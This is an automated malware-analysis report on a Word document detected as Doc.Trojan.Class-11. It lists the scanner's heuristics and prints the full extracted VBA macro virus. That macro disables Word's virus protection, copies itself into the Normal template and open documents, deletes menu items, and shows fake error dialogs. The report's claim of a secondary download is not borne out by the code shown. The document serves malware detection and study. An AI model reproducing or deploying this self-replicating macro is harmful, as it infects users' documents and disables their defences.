MALICIOUS
256
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
This document contains legacy WordBasic macro virus markers and AutoOpen/Auto_Close macros, indicating a malicious intent to execute code upon opening. The VBA script attempts to disable virus protection and other security features, suggesting it aims to download and execute a secondary payload. The ClamAV detection as 'Doc.Trojan.Class-11' further supports its malicious nature.
Heuristics 6
-
ClamAV: Doc.Trojan.Class-11 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Class-11
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.replaceline 5, "Sub AutoClose" -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8560 bytes |
SHA-256: 57f7663606ffb4ab20bfbd3946011e2f97f80983f9a6fe4dc6818326f6717467 |
|||
|
Detection
ClamAV:
Doc.Trojan.Class-11
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
On Error Resume Next
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("Tools").Controls("Options...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("Tools").Controls("Templates and Add-Ins...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
Options.VirusProtection = False
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
Options.SaveNormalPrompt = False
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("Format").Controls("Style...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
Options.ConfirmConversions = False
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("Tools").Controls("Customize...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 90 And ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 90 Then GoTo Epp
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 90 Then
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
Set Eho = NormalTemplate.VBProject.VBComponents.Item(1)
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\system.sys"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ("c:\system.sys")
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.replaceline 5, "Sub AutoClose"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.replaceline 99, "Sub ToolsMacro"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.replaceline 105, "Sub ViewVBCode"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
End If
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 90 Then
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
Set Eho = ActiveDocument.VBProject.VBComponents.Item(1)
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ("c:\system.sys")
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.replaceline 99, "Private Sub TM"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.replaceline 105, "Private Sub VVBC"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
End If
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
With Eho.CodeModule
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
For x = 1 To 4
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
.deletelines 1
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
Next x
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
End With
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
With Eho.CodeModule
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
For x = 2 To 104 Step 2
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
.replaceline x, "'" & Now & Application.ActivePrinter & Application.UserName & "sdjw3456ot76 weor9w58349583" & Now
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
Next x
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
.replaceline 106, "'MV Version 1e"
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
End With
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
If Day(Now) = 15 Then
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("File").Controls("Page Setup...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("File").Controls("Print Preview").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("File").Controls("Print...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("File").Controls("Exit").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("File").Controls("New...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("File").Controls("Open...").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
CommandBars("File").Controls("Close").Delete
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
End If
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:13 AM
Epp:
'4/5/00 11:56:13 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 80 And ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 80 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
End Sub
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
Private Sub TM()
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
MsgBox "This program has performed an illegal operation and will shut down.", vbCritical, "Microsoft Word"
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
End Sub
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
Private Sub VVBC()
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
MsgBox "This program has performed an illegal operation and will shut down.", vbCritical, "Microsoft Word"
'4/5/00 11:56:14 AMKyocera FS-1600 on \\VETDEV\KYOCERAHILsdjw3456ot76 weor9w583495834/5/00 11:56:14 AM
End Sub
'MV Version 1e
Private Sub Document_New()
StartWizard
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.